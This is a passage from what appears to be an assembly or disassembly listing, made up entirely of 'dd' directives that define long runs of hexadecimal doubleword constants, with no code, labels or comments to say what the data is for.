54D61738h, 3214003Dh, 6FCD357Dh, 157179F0h, 5F2F811Eh dd 0F8A860C0h, 107BA83h, 0F9E8E0E7h, 0E1E1984Dh, 0F08840B6h dd 62ABDC9h, 4FF1907Dh, 6AAB0C04h, 376010DDh, 0B85966D0h dd 47F6FA8Eh, 0C190A8EFh, 19A1983Ah, 2969205Fh, 44C608A7h dd 3B45EDF8h, 93115EFDh, 64710DFh, 8D981F0h, 6F75445Bh dd 1C16EB88h, 40229252h, 2FD6C20h, 18009034h, 0FA6D2738h dd 139B3903h, 0EAC14F66h, 567BB000h, 0A3CE12h, 0A6F6DB2Fh dd 6E3D226Ch, 0AC343001h, 29C464FBh, 0FA1E1070h, 23D31F18h dd 2E980F3h, 64A48A8Dh, 953F5500h, 0FCE093D4h, 364A0BCDh dd 80FD1699h, 0BD8AA3B4h, 0AAF23805h, 0E6AC0700h, 69E41DB3h dd 5288270Eh, 20FA61E5h, 9B200E71h, 0CACE039Dh, 60A2ECEEh dd 7876D7D0h, 20410F01h, 3FCDFBBBh, 94FFF9C3h, 4C6BD6E4h dd 0B9072893h, 0A0FE9D7Fh, 0D7E9E13Ah, 0A3735E14h, 1E4400DCh dd 2D9E1CD0h, 75A00065h, 0B301276Bh, 0DB1FFA09h, 0FC47671Dh dd 9FA09A59h, 2A8C1Fh, 0E6E2516Bh, 262E106Ch, 0BA00E098h dd 189C795Fh, 0EEAE7CBh, 0CDA79FB1h, 0CA41D460h, 710024EDh dd 277DAF5Fh, 211F97h, 0F5139868h, 4023AACCh, 9F6F6900h dd 25952E1Eh, 0A5143BB8h, 8D98650Fh, 0C91548E0h, 5D00B14Bh dd 0E6DAD233h, 7C607D5h, 542C7F8Ch, 0AC08A0C8h, 0CA16C4A4h dd 0BD03912Bh, 781EB2h, 0F17C4048h, 759FEC17h, 0E1334A12h dd 1D726041h, 6420C250h, 869200F1h, 0CC3EABD5h, 4E01013Fh dd 60ED046Dh, 0C8FE1A26h, 2C442F98h, 0AB18C2h, 256E864Ch dd 0D00A4E8h, 8C3FB911h, 0CC2AE3h, 42AA10DCh, 0F22E2761h dd 753DA200h, 0AED97F77h, 0E8EC55h, 81F6A49Ah, 0F8DC1B5Dh dd 0AAC06A00h, 2717EEC6h, 96CE0153h, 0C4E9D989h, 932C2193h dd 9800BBD0h, 32F4045Dh, 20171ABh, 0C30FCACh, 0B07C7149h dd 79C01E1Dh, 0CE5475A1h, 0AF670082h, 0B6C33ABh, 3F0103A9h dd 0E6236260h, 8840F157h, 0E2EE7069h, 30BA2E9Eh, 0F4307A8h dd 0E92A40BDh, 35F83778h, 0DBE53A00h, 97D3AA28h, 0A8B900B4h dd 33274DC5h, 395C0D74h, 80053EECh, 11AF4C71h, 95EEA0h dd 8135A5B7h, 3DB00393h, 33994703h, 0D0BB0BE3h, 0FE0FD9FFh dd 7690EC87h, 16A00029h, 0A6BEC45Dh, 120001D3h, 39DB232Eh dd 0E207A57h, 33C8689h, 16E0B64Ah, 45480C4h, 4A009ABCh dd 16784C5Bh, 547DD8h, 349FCA08h, 816A80C9h, 0B3508200h dd 999A303h, 0D3580FC2h, 0C1C0EFC3h, 5179EBF3h, 0A6E9DD00h dd 0BA62B11Bh, 0EFBE4C98h, 10759618h, 0EB178195h, 0B8015BFEh dd 59294197h, 5A3033E1h, 3828001Ah, 3A144793h, 0E3265494h dd 6B00D10Fh, 2F02488Bh, 30580332h, 3E99721Ch, 3D1EE1E7h dd 0C7AC2013h, 5A0020F8h, 6F6331F3h, 508C871Bh, 59E15Bh dd 40522768h, 2BB2AD36h, 2A96D700h, 0C70E54F1h, 0B6900ACh dd 86A11B18h, 4E71735Fh, 13121075h, 0CC00A90Ah, 0DD3D34BEh dd 1E290053h, 0D83296BCh, 5D007013h, 0EA59FAB4h, 5CDF1739h dd 4768C78h, 0D3B30A42h, 524C80EBh, 411FB195h, 0BF009785h dd 5D086BAEh, 7A40E82Bh, 5FCC2C75h, 0B6770397h, 0A2989DF6h dd 2CC0BD5Eh, 8397B536h, 76090F03h, 0F240514Fh, 3A317D56h dd 0E9502974h, 0AFEEB484h, 0AB0087Ah, 0A0708312h, 258CDC00h dd 8B8F0Eh, 9A39E0F1h, 7D850D09h, 0D2E1E818h, 38061h, 0CD0CA14Fh dd 0DCE0CF8Ah, 119F7A01h, 0E6D089C6h, 0B29C1080h, 4BC3EBDAh dd 0CDD9FA00h, 1C48A52Fh, 0C871008Fh, 0EADE880Eh, 0DB00705Bh dd 0FFEF2E75h, 578EF2h, 9244E41Eh, 807CF771h, 0F4D9D451h dd 467BD0BFh, 0A083D207h, 5B10FFF0h, 3CF4EB22h, 7013B66h dd 8E08288Ah, 0BB33E4DBh, 0B50095F2h, 0BF76173Ch, 1854247h dd 89E999D9h, 3071A22Fh, 1B00BEBBh, 982573CCh, 47839Bh dd 8A182080h, 825BC0ABh, 0A4CFC800h, 0F9F7CCA9h, 9E210026h dd 0DBE06827h, 0B80741E2h, 7F0F022Fh, 0D66C14D0h, 0C12600CAh dd 0CCEE4864h, 3EF8387Dh, 0BA409F67h, 0DBB84E0h, 1F301F77h dd 0E95540DDh, 0BF2B289Ch, 870E53F2h, 205A02E8h, 4BD8ECDh dd 0E615F4FAh, 3F0FCB3h, 0E3AF3083h, 0B6E058C4h, 90014BBDh dd 2592AC61h, 98D813FAh, 2CD11F83h, 882E009Ch, 0F7535609h dd 0ADCD3Fh, 0FE83E5DFh, 34F3ECBh, 5E11C0A9h, 380034D3h dd 72F9AE50h, 7B0142Bh, 0BC1C566Bh, 8937C36Dh, 0A633DFA0h dd 9218B70Ch, 50E9060h, 0A3E8054Dh, 608E8793h, 0EBFCB146h dd 1CAEB800h, 66B0C24Fh, 2F2E00ABh, 0F73709A0h, 0F500867Dh dd 27D34ABDh, 0AC83F3h, 59645FEBh, 85129AD8h, 0F1BC1000h dd 0ADA63866h, 38BE641h, 0C98A87D2h, 0D4A992A5h, 0C243DCABh dd 0BBFE2073h, 70002CE0h, 769631F8h, 50E2D4D5h, 1CEA80Fh dd 0B75E92DBh, 0F0446CFFh, 580080DEh, 4B6DF4AEh, 707BE7DDh dd 5EA0055h, 0B169E99h, 0ED90D665h, 70E2C02h, 0C0E7573Ch dd 0F88B63h, 0F9EE1A58h, 632BC9D5h, 0F611620Ah, 3480D4B7h dd 5F0BC2A3h, 0DF0C00CDh, 1F822B6Ch, 0F21C531Bh, 0B6804F80h dd 0E6AF5E01h, 5ADF04E2h, 80AAAB22h, 3AAC5404h, 0AD505B00h dd 20471633h, 7A400F1h, 7B52FEE7h, 0E60728E3h, 247180BDh dd 79C676h, 9FF8B243h, 846E327Ah, 39016377h, 2AEFD26Ch dd 0AD9E4A7h, 24E9BC20h, 3AFF5095h, 8332480h, 0CAA89A35h dd 3689E800h, 0EBF2D159h, 0A40C2845h, 0A18A39FCh, 9AE6480h dd 0B6514AC5h, 0BC00D27Ah, 89BB0627h, 0E07550E3h, 79680093h dd 0B544FDD0h, 7F000DE8h, 503298D7h, 1BAF54h, 2BA1BA65h dd 5E43D856h, 43CAD48h, 0E20F9AEFh, 0F0B74080h, 20A90092h dd 94744B3Dh, 9600A5CBh, 16B860EEh, 0FF8FB0h, 4A6DB709h dd 30510210h, 0B000E7Eh, 27CCD564h, 95F046h, 58DA8B1Fh dd 7BB23D8Ch, 0E03F2C00h, 0F1624A07h, 3375E7h, 7F23A1ECh dd 832032DEh, 9C0B8824h, 1E9FEA8Eh, 517AC680h, 0C21319h dd 3F6FB8B3h, 50D8EC92h, 0DD507175h, 0E23EE5C1h, 0EA7922Ah dd 17003C1Fh, 4373A256h, 85700028h, 799C540Bh, 87002938h dd 993F24A0h, 5849AEBBh, 37002C25h, 47D9E359h, 0B0F1228h dd 0AE25B38h, 1992E044h, 0DDE93C00h, 165631Fh, 6B729714h dd 205C0924h, 9F147FE4h, 26C0BA48h, 813FC069h, 4A08D574h dd 4825EFEAh, 0D76FC8h, 57E44D66h, 0E66AC605h, 2F41A2Ch dd 16F5E001h, 0A720049Eh, 0A0934CA0h, 1007874Ch, 0E08F32ABh dd 0A8BCF8F7h, 9D47F01Ch, 80C0788Bh, 8FA4CDB2h, 0B0094C46h dd 7116C300h, 0EAF3CA5Dh, 0A687019h, 95E03A18h, 0B37D019Eh dd 0FA647576h, 0B4DAF072h, 0CF267F00h, 40846AEBh, 75F1E0CAh dd 0B1FC0062h, 3DAEAF53h, 0C8CF0E65h, 0D0C5A38Bh, 8CA0C099h dd 1C7700FDh, 16970F5Bh, 8200064Fh, 87BD7A0Ch, 383C1942h dd 0FE801E8Bh, 90DA9B77h, 84CED11h, 0A5F21E31h, 0CAC001DFh dd 0C5886E1Fh, 0D44A0771h, 0F0863F2Eh, 962AC272h, 7E6B2405h dd 0F4000DB2h, 8E422B9Eh, 3C2F0E67h, 30807194h, 3D249D88h dd 386C9B00h, 99EF852Bh, 3A497435h, 7805BE5h, 0DD5C430Eh dd 27004CD6h, 0DB909E17h, 8018A9A8h, 5B001925h, 109B6BD5h dd 0B57F1ECh, 0DF6FE586h, 9820880Fh, 63B3254Dh, 0DD2F5800h dd 0DB0AF380h, 66C148Fh, 2C3DDC9Ch, 2441F80h, 66A3A6C5h dd 9F5F3E00h dd 94154C45h, 0DEAC0135h, 0C78C85C6h, 0BC39E4ABh, 9EEA263Fh dd 430FBD06h, 0B39A80F3h, 5B03F9h, 0A4C2E845h, 1BA22129h dd 975A601h, 0CCDE572Fh, 59571C4h, 0B7221160h, 34F800CEh dd 2F2DDF87h, 9DC441Dh, 11192E87h, 0D210Ch, 0BFF82250h dd 7D9F4A6Eh, 0C3030092h, 0D0A7333Bh, 0DA19005Dh, 0A0EE7559h dd 0EF1E8C3Ch, 2C2CC9E0h, 0D8B54601h, 56A65220h, 9BBF0FBCh dd 2D358A1h, 7F6896CDh, 0C73E2400h, 67423h, 0E0A592FEh dd 1F22065h, 3029FB60h, 1EC683h, 0E95A28A0h, 0AD64597h dd 0D9871B00h, 24D40827h, 74F80035h, 375BF1DCh, 8800E0D7h dd 431C9701h, 1E32BF7Ah, 3105A463h, 0F4477BA0h, 1006F636h dd 1D168730h, 0F4A40718h, 0B065F277h, 0E5014839h, 0E981510Eh dd 0B958E3FDh, 906CC12Fh, 0F4EAE0h, 0C24DC9DDh, 7DF6D9EBh dd 897682Eh, 78914C00h, 4D4E81A5h, 0C01C4FEh, 32A388E1h dd 0AFD88031h, 105F5D02h, 0C0AE4869h, 0C08FAA1Eh, 4EC67919h dd 2B7DDF76h, 0D00D9F2h, 0EA32ACAh, 30887B37h, 0A170FA1Eh dd 860031E0h, 0F1585E8Ch, 0DB8099h, 0B89F87B6h, 5DC6CCAh dd 0AC0DCF00h, 5C320867h, 0C52A00BCh, 0EFA2C94Fh, 3C0B98D1h dd 785A0405h, 8BC403B2h, 9625F0DEh, 0A2581E98h, 89917B03h dd 0DBC55485h, 0BBA4D8EDh, 534B0002h, 8C5ADEC6h, 2C00CFB7h dd 0C6590FDh, 0C9D0AE27h, 30002BE8h, 0F81774ABh, 0D104E500h dd 61729A2Ah, 71253E77h, 40834B1Fh, 1DC91C82h, 401C8F8Ch dd 0ECC0C5FAh, 1FE62975h, 44CE0B5h, 72B04D06h, 69708083h dd 6A000149h, 0E0AD5C81h, 0B2B4EFh, 0D1980E10h, 0FBDE4E1Ch dd 9E2D4C01h, 65A3BB78h, 88B5E4h, 33DBD83Dh, 301AF6B4h dd 6E4DD904h, 8C1CA77h, 6456D1D3h, 18648041h, 3AC2007Bh dd 6DD4229h, 89001C09h, 63C71DEFh, 0BFE46Bh, 0CF5737Eh dd 0A1CE1F6Ah, 0F2DC523Eh, 3BCF9B00h, 8E23EB68h, 786D0292h dd 96BBD025h, 1380F443h, 0E075C6Eh, 0AF378A8Fh, 0C4294280h dd 0D6570020h, 5383CE38h, 7001F5B1h, 10311235h, 806A93BEh dd 994AE0A2h, 2041B1Eh, 72D92D80h, 3A1A1E82h, 0D787A173h dd 3079B4EEh, 0B5F683CDh, 3D363F00h, 22FB16D2h, 7DC81CFDh dd 3A7BC13Eh, 0E0AC31DAh, 880591D0h, 706D9E15h, 7BEF33C3h dd 63510040h, 0CBE48E5Eh, 8600812Eh, 0F8525710h, 0F337A0Eh dd 587704B5h, 83280032h, 8A200DCEh, 4861F31Eh, 82D70078h dd 7BEEA84Eh, 0DCD60052h, 61C60485h, 0F0FFBE0h, 2C486DD0h dd 7CB314Eh, 2B879436h, 0D9CFA23Ch, 0A248D498h, 0C8FA13F9h dd 0B899F44Ah, 94C130F9h, 566C1141h, 0E6FB3700h, 0BEA7BDA6h dd 97320079h, 31AD09C6h, 74928326h, 184BE839h, 6A5889EDh dd 0FCD9056Dh, 80C63068h, 1681A874h, 8F00B7E0h, 9CB3ED3Ch dd 74CBFC7Ch, 5B48C3DEh, 3BF08E9Ah, 0F4009DBEh, 0BC018449h dd 38402341h, 0AA8A0D52h, 0A8FA87h, 0F45BD404h, 2300AE8Fh dd 0E48B91F0h, 74CBFB45h, 6C0F97A6h, 0D4D234C2h, 2BF8EC63h dd 2FE81DA8h, 586FB400h, 0B9E61542h, 39620530h, 88DAD422h dd 0C8C0C8ECh, 0B94AF4E1h, 444724F6h, 0F9AC0028h, 39F3AAB8h dd 0AB38600h, 0F01F7E14h, 0C86F60B9h, 31EDA536h, 3F1E2500h dd 501ACC34h, 70F01293h, 0CE5C01C7h, 811F8E39h, 6ADB9C31h dd 0A830A543h, 0E3160153h, 9B90BDE6h, 0B77C743Ah, 0B23FFA1Fh dd 40862449h, 0C9FB9Ch, 276FAA9Fh, 0EE3330D2h, 0CF7AD401h dd 5BC46D42h, 2C7CAC70h, 8EBC8AC7h, 0D0007206h, 0D5953257h dd 3EB49F58h, 6C48D8h, 3758E1CFh, 4AE30ED6h, 6644002Ah dd 822231AEh, 4E198B00h, 46E2FE5Bh, 0DBEF0097h, 15D33E4Dh dd 0D90021FCh, 27E3798Ch, 2C1CABAAh, 13146E8Eh, 0E43C030Ah dd 0C0A04A85h, 0DF377FA6h, 8D90D8DBh, 1E6FF998h, 4009E115h dd 0E5F00393h, 1F007AB4h, 42AC7562h, 40C267h, 0A5B377A6h dd 1BE6D163h, 0C9BF9E00h, 19C88B97h, 0C58D0F4Bh, 78183542h dd 0B3135E1Fh, 0ED0047A8h, 0F47122DFh, 0A79F0081h, 59C55152h dd 0D6005A61h, 0A5CFF644h, 14A1222Ah, 8FE2346Bh, 0A2172000h dd 0D8E3336Ah, 8F6E9C03h, 0F8A33CE0h, 9B48B6h, 0B22FDEBDh dd 8B5AC3E6h, 9ECBAD00h, 6B134C8Dh, 54C90725h, 0F0A0D00Dh dd 74465F12h, 0BA50C8EBh, 53011000h, 43C20C30h, 39A31F48h dd 0EFB58071h, 97A7CCBCh, 220045FAh, 65E9500Ah, 6D0631h dd 7F27637Eh, 339FA91Ch, 7484131Fh, 0FE2BB783h, 5407C04Fh dd 0C10D002Dh, 40C96E12h, 14C2972h, 16051294h, 3BB31480h dd 0CDBA2C70h, 0DA9700A8h, 1E782CFCh, 0C1DF8401h, 0AFB2935Ah dd 0A1EDB080h, 3002EF55h, 0A0AC1F00h, 0CF01D65Bh, 1C9B8F9h dd 0C6B5A60h, 704B8AA3h, 0C7020778h, 0BE796F3Bh, 124049C3h dd 1FDCD031h, 0BC98F2h, 0EE109BEAh, 6E7B6F3h, 94EDF58h dd 20BB1E0Dh, 8C7B387Ch, 0E3C921Bh, 691AB407h, 997FEC20h dd 65F20910h, 13268112h, 4F8024C0h, 34D312C2h, 0F2944276h dd 0C1E0B343h, 790093D8h, 0F6F546C0h, 2E9CAA09h, 0C03E9h dd 6DC89D5Ch, 8D3EA71Bh, 6CB98015h, 6253D4F9h, 85E30007h dd 1F4B7BBDh, 7107BCF3h, 0EE839769h, 9829F2B1h, 3A401CD4h dd 0ED03CC33h, 0BE1F0720h, 0B4606BAAh, 0D00711FCh, 0D8AD6C21h dd 0A084690h, 498C60A5h, 7263C909h, 42EF31C0h, 1E9BF9F8h dd 9953D6Ch, 1000BA83h, 3405D277h, 0E9009C90h, 635775A1h dd 0C96A210Ch, 0BF00D948h, 27FFEFEDh, 6EDFD300h, 4C50253h dd 8448C096h, 2DB80313h, 0F3C45200h, 0A390C026h, 14C13D1Ah dd 0EF5BCD0h, 0CBCA3CCEh, 2FD6E6Ah, 0F336EA83h, 299D70C0h dd 80A9AF3Ch, 4D4067Bh, 0CE8B38h, 0CA731043h, 0FF608203h dd 5D41D100h, 94B9F3DAh, 14A0C029h, 0AC03D656h, 0D380E8C0h dd 26BA1FABh, 3B2A13h, 7EC7FFB8h, 6A0B6B93h, 80D2F38Ch dd 7C871E4h, 0E47A2E3Dh, 402A67h, 0D30EFD76h, 33A55197h dd 4F00E17Bh, 1B2CE8A2h, 783D20h, 0B8F3218Ch, 9A35D265h dd 0D0E31332h, 46C2E090h, 55AF00F6h, 3825B4B5h, 21C01297h dd 8184CE8Fh, 0E8F700F5h, 3E1EE089h, 0E898C635h, 0E5E14701h dd 0BE082E4Fh, 1FD37EDCh, 40CBA019h, 1B44D960h, 3F01D8ECh dd 0A40F8E8Ch, 12FC6677h, 28B5006Dh, 9D2572F9h, 0E5007483h dd 998FEB57h, 79F0BBCh, 1B7DF6CBh, 67C2B05Ah, 23005184h dd 0AFCE2573h, 0CB1944Bh, 29A70511h, 0E11D0A19h, 0EA4C4E46h dd 24041C3h, 8EDBCEBFh, 0B9203C9Dh, 4C93DFCh, 82328492h dd 47E8803Fh, 0F2805A24h, 0AC885FBBh, 45F904ABh, 0E5C0227Fh dd 5CD62EC4h, 0DF002066h, 71EF1F47h, 0B009FE1h, 29B1BF5Bh dd 2F26A9Eh, 2F7A7491h, 0F880EDFEh, 0EC7B39B6h, 0AA24751Ch dd 9938AD40h, 4B9FEE8Fh, 0B9ACF1h, 51EA88BFh, 1E64EBCBh dd 0C01A477Ch, 2F86D6F3h, 0E824F103h, 0A0024C9Ah, 40423A6Fh dd 626B7ECh, 20081F1Ch, 0E6002101h, 0A76440E9h, 14ABAE73h dd 0A467FF62h, 469F8000h, 6AB0F90Ch, 792E40C7h, 0B3F0804Bh dd 9EB6ABh, 0EB874BDFh, 0D1A042F7h, 0E077623Ah, 2047F458h dd 7CE00A1Fh, 3945394h, 435C7D6Eh, 0DCD92000h, 0D7D4C142h dd 0E5AD0434h, 83EAD822h, 95F8F724h, 88A0BE9Ch, 2E029919h dd 5303411Eh, 0CFD44042h, 0BA72032Bh, 9B6A1645h, 114940B8h dd 33B9F100h, 0C9046563h, 0FF68015Eh, 9CC5F8Ah, 0E08603DFh dd 0A59690h, 0CD5A59C6h dd 6FA42DECh, 5E280E07h, 9DE0C3E7h, 7C51267h, 0D90FE55Dh dd 87D2432Eh, 0F5688AC0h, 0AD559A00h, 0E4126574h, 89910003h dd 0B85B56D7h, 87F5DD6h, 9B011D09h, 15242036h, 564FE0h dd 6B749813h, 5FFE901Fh, 0AD3FDC01h, 4301AC4Ah, 0CA001CFDh dd 985849E4h, 85C60134h, 5CBFAC51h, 12B16CD4h, 40C76D8Dh dd 7AA31040h, 0F00BE6Bh, 8B289D78h, 7658463h, 0DC499686h dd 606817C6h, 8FD4D05Fh, 8EA7B05h, 9080F281h, 1F729F9Ch dd 0D7D9F667h, 51040074h, 4966C790h, 72E3DCFDh, 22CB7C02h dd 0F0F1E448h, 0C16E06A8h, 114F869Dh, 7CA4CD00h, 0B71930D8h dd 5F2603D4h, 0EA9BA966h, 0F7D8C085h, 850538E6h, 8E24C3CDh dd 35E1480h, 0EE5612DFh, 0ABAC0209h, 0D5005B7Dh, 0F0AC39E6h dd 0A29115E0h, 0B40BE037h, 50A06007h, 6F2028E6h, 17248D17h dd 0B752EC00h, 99A4BB4h, 8C4F37BEh, 9B0C5C00h, 90027CEh dd 3532D88Dh, 311B079h, 0E728750Dh, 280F82C2h, 2FF4BE3Fh dd 67C412Fh, 4FE02CD8h, 0C8111823h, 984580B4h, 650C927h dd 3385BCCh, 0EDB9768h, 0E9F0B17Eh, 0F70A7C05h, 0A845D1D8h dd 184B4700h, 77E3891h, 23205EBCh, 0B15010C8h, 3C001CD4h dd 21142A71h, 0E9BFA4h, 0EB47E88h, 630C407Fh, 660FE898h dd 0E3391862h, 90998B9Dh, 1EF8EE2Ch, 471D7394h, 90CC83F2h dd 7A2E931Eh, 1970F11Fh, 0E6FC9283h, 91200DAh, 0FEEC87D6h dd 696034DCh, 0F3FBAC16h, 1A6300F7h, 533B0605h, 0C800AEE5h dd 8EC1AD8Ch, 485D1095h, 4800385Ch, 1689C302h, 9700BD06h dd 83A90E18h, 0BEFB4Ch, 0AC0F1796h, 0B4739A80h, 0C9974800h dd 0D9A73CE2h, 964B06B2h, 103EDFCAh, 797AAF05h, 0FCC00F60h dd 390128DDh, 4C80BA8Eh, 4FFAC754h, 309B880h, 22F4E547h dd 60C47100h, 18CE275Dh, 194590A3h, 777615C2h, 5B5C9CBAh dd 0D0890940h, 22488BCDh, 6016E86Ch, 4A9C9BEh, 0A43BDFCCh dd 0E402AA85h, 426EC81Ah, 1B7881E4h, 802465C4h, 6C2C1F44h dd 0C52604E0h, 0A4914214h, 9725E07Ah, 30500279h, 5B263AA2h dd 28BF9480h, 0E9008EA0h, 3821E4FFh, 0C32B7Ah, 0C8670623h dd 0B61495CAh, 0BA733C0Bh, 37C48011h, 0F390FF7h, 3A8AE355h dd 9581D0A3h, 59FDD000h, 9DD50AF2h, 421F206Ah, 64E7DD1Eh dd 1E2AB7C4h, 14C0FE84h, 96F8C804h, 9B5C0EE0h, 9E23A460h dd 0DAE25F0Ch, 62DEE701h, 3D8D5F2h, 84554880h, 3E3D4AC6h dd 0D2B05F09h, 0F6746018h, 0E89B092Eh, 4C804568h, 334C91E5h dd 0A3249600h, 1D742642h, 0ED3D0F7Bh, 35E08BD6h, 0DDF7FBA7h dd 5D5A94A8h, 615A401h, 70C5A09Dh, 2A09E4h, 2B6FBC37h dd 0B627D4DFh, 9CC29B00h, 7E2CDB30h, 77FB0B83h, 6C4478FAh dd 101FE5FBh, 868ABh, 0F29EA530h, 5FE5A645h, 4B0A5890h dd 0C405CB5Ah, 9B2AF080h, 96EE3E71h, 0C3161250h, 9EF8E358h dd 0A400171Fh, 0AC5B8268h, 7FC19F40h, 0D1AF00DAh, 0C29E43AAh dd 10C036D7h, 687182A7h, 58900Eh, 8DF940E5h, 1DD2E4BAh dd 1C9F534Ch, 500B598h, 0A8973F72h, 9A06251Fh, 0F389403h dd 0A3A7480h, 0EC884C28h, 791834F8h, 7118BCAh, 0CD4F2E73h dd 46A0942h, 4500105Ah, 0DDB5AFF5h, 3820B6h, 5E0DC3A2h dd 0BF6A2313h, 4354E500h, 8DE18EFCh, 74310EF9h, 57806E62h dd 42EE635Ah, 53A52201h, 0F7EF4ECAh, 700A47Ch, 0D904F57Eh dd 0EE001291h, 742B71C5h, 0B2920A1h, 5C0ADB8h, 0C2826407h dd 0BC83A03Bh, 0C0FCAC40h, 0A9A6AAABh, 6E157000h, 796F3703h dd 26D10542h, 84DEB08Bh, 12E2807Ch, 2D48B809h, 0FA1C0034h dd 0F3137BBBh, 0BAE2AFh, 5EE3425Fh, 1A77B7F9h, 0B94A2400h dd 0E54861D4h, 8B563E64h, 0A144A984h, 6FF0D0D7h, 831441AEh dd 3DF67E4h, 1DE8E0Fh, 7C708F5Ah, 6D12AFh, 629369A2h, 14830667h dd 0C3C6A300h, 7D046154h, 0CB9C0E1Ah, 122051D6h, 0D78C088Fh dd 9847D25Eh, 0CF708D03h, 1B5048h, 0E353F226h, 5EC4583Ch dd 0AF18C0B2h, 0FF79DB17h, 0E1B700EBh, 0ABB625EAh, 1BFCE35Fh dd 0EB5710A0h, 66E11CA0h, 0F85DFA37h, 3F415647h, 1040C758h dd 6DB47DDh, 327E8688h, 2801088Bh, 0EC6DD36Ah, 0C0FCB44Ah dd 78CC003Fh, 874C82E0h, 0AF7C1817h, 3B229800h, 2A8B7079h dd 0DD90C7E5h, 6F69D11Eh, 0E360816Ch, 5E82FA7Eh, 0A187DAD1h dd 93468533h, 0E9F8065Fh, 591E0A1Bh, 41B3FA8Eh, 2B300E8Ch dd 9BE63F8Bh, 0D61F3806h, 5D4F1F84h, 0BFB6E02Eh, 0F85104B2h dd 1DA1019Ch, 5B2DC78Fh, 591FECDCh, 0AC03B77Bh, 0EF24E5D9h dd 0E045A0BDh, 0E9DD155Fh, 0F4008067h, 84E2F209h, 0DA03B353h dd 6469EB8Dh, 55E99F7h, 11107983h, 0DCF73053h, 0F800FE39h dd 0C0863D07h, 697270Dh, 8CC35766h, 0DB0220BFh, 0FC6F9532h dd 0C0B38099h, 2E76112h, 67EF6EE5h, 0C7602618h, 5034C44h dd 5A698CDDh, 50717704h, 5DEB01Dh, 0B20A976Dh, 0ADC40380h dd 8AD82D40h, 0CB00736Eh, 3EC64583h, 3069CA05h, 82410261h dd 0CA0C21Dh, 67880660h, 23BE2612h, 71D20AC6h, 5B6906C8h dd 0C03C2111h, 5698074Bh, 887743h, 0BE55D0ADh, 15018EAFh dd 0EADBDD30h, 370059F2h, 965CBF72h, 46B20323h, 0DFC7B052h dd 1290E927h, 9760CCh, 5CA45309h, 0C6DB12Eh, 168B8707h dd 70F1E535h, 29800926h, 0BF2B4D69h, 0C01E2AA9h, 803FFC22h dd 0A619CB50h, 19284F8h, 0CC047E0Ah, 8003A248h, 0BD755338h dd 1B974BFh, 5E96137Fh, 879AE3DBh, 928EFD21h, 0BC8C50E0h dd 84A71218h, 0BBCF00BDh, 0AE7FE1DBh, 0F1BA5A01h, 0F65C0302h dd 0A4E5E1DFh, 0C80418Ch, 49000AA1h, 10EB0B3Fh, 5BB605h dd 477C4F4Dh, 504A8C45h, 0ED2410C0h, 0A66CB8h, 86E2ABC2h dd 116FF578h, 0EA9C8F0Fh, 65BA21D5h, 59810A80h, 4DD82264h dd 0F1446158h, 12198705h, 884C6C51h, 1D812255h, 80AAEF3Bh dd 0E0EB98C3h, 30B55869h, 0BD2896FFh, 0DE0F3AC4h, 2EFDB8h dd 9835A0A7h, 0B60C00C3h, 0D9FB4EB0h, 8A001775h, 0D128095Dh dd 76BF5Fh, 9E310FE7h, 0EE6D0A4Fh, 63778D00h, 6AB60D20h dd 85E00048h, 23FF38D1h, 2E1E877Ah, 0D300E141h, 61EAA3F1h dd 0B7C4309Eh, 2A71A468h, 808F4200h, 63E83383h, 4AC10029h dd 6085BAE7h, 5061B037h, 226F5D70h, 0B8EB68C5h, 0E2846E8h dd 4FFB38C3h, 0C510BE00h, 637F9267h, 0D961BC60h, 0FAF515Eh dd 6C0E9B35h, 0F4A1BDC0h, 6E791706h, 3460F3Eh, 9B847F37h dd 0F63A89CFh, 0E038037Bh, 0F7C0C69Dh, 3C4CBFB7h, 18B03BA3h dd 0C08E7F5h, 9B1630D1h, 0F4240D10h, 0E6046424h, 8F5BA409h dd 0FD770043h, 0C0B53F1Bh, 0CF4C6B91h, 0A03DFB7Bh, 1CAFBE7Eh dd 0BA8E72h, 7FFD6E5Fh, 0E4205861h, 0CB970095h, 3F501CDCh dd 780EBD54h, 8057378Fh, 0D1734E3Eh, 0DCA80B01h, 0F90662C4h dd 696008BCh, 1C99421h, 0B52200B9h, 0FA4BDAA4h, 6B90C128h dd 0E0D89600h, 59474A55h, 14EE860h, 0CD2E7853h, 0CE6E828Dh dd 0CABB4043h, 0B7FC74C8h, 8C405A00h, 0FFFE1AADh, 7E4C3D75h dd 0A838B330h, 6030A94Fh, 0AD5E4941h, 0C7D70116h, 0BF7C77C3h dd 5A088C93h, 84204Fh, 0CBE816A5h, 88A88A0Ch, 230C66F0h dd 0C164389Eh, 934C3CD2h, 0D4EF1680h, 82B7FE2Dh, 3B0C3Ah dd 5BD5484Dh, 12F11104h, 0D169FEAh, 8FD03E57h, 3E25341h dd 7C3BA5h, 129D9811h, 73BB01B3h, 82F95719h, 219D9508h dd 451240BFh dd 0DE90D64Bh, 0F13C9671h, 0ECC70F9Fh, 5437471Ch, 5CDF2DC1h dd 1A47EECh, 3D391107h, 88E504h, 41A30DDCh, 28E4F05Ah dd 0E0A9997Ch, 8D0188Eh, 0BCDCA701h, 934568C4h, 8EF000C8h dd 0DD390EF8h, 540B3514h, 52B840BCh, 69602BF6h, 3F0FC910h dd 4BAE3D6Dh, 0AACF0375h, 10802057h, 77EA76E0h, 0B1045256h dd 20447554h, 0A2A8046Bh, 5DA82300h, 68144EB7h, 0EE5100C6h dd 1040AAC5h, 4F067D9Dh, 77DA754Ah, 45263C39h, 1173E018h dd 0CD00BAF5h, 974D082Eh, 0B3B8D5h, 0EA714B68h, 0A7F65BACh dd 7C64EC00h, 5CC677EFh, 0DDCA023Ah, 5688A2B5h, 0D7F01040h dd 5D128C26h, 0FB87E800h, 71EF7F45h, 421F0326h, 0FCC10FF9h dd 5E752007h, 20EAA28Eh, 8C42AA78h, 0F4B8960Fh, 8DB0C7C9h dd 0BC80CAh, 8A6F9C53h, 0F8AFD39Dh, 14AD0F0Fh, 0A50097E3h dd 4162469Bh, 25F15003h, 98F03D15h, 4F2C2EDh, 3B6B516Eh dd 61709057h, 0E288EBE8h, 7E0F0CFAh, 0F9B078C1h, 29D8FB31h dd 7D26B3Bh, 0AC668007h, 5700BFD1h, 1FB1CF0Fh, 0DC78D16h dd 0F78CB29Dh, 0BF86E051h, 254DD400h, 0AF8DC0A0h, 0C4930D5Dh dd 0E4595B0Fh, 98003862h, 14A5D467h, 39E8EEB9h, 6FB9B3C0h dd 0F0747980h, 93BEB897h, 693B2218h, 0C05689h, 15FD63DFh dd 30839799h, 93470400h, 0D97C196Bh, 0AA5A0FCFh, 0B361E914h dd 2579736Ah, 7E34C420h, 0D7F34B06h, 1BF011F9h, 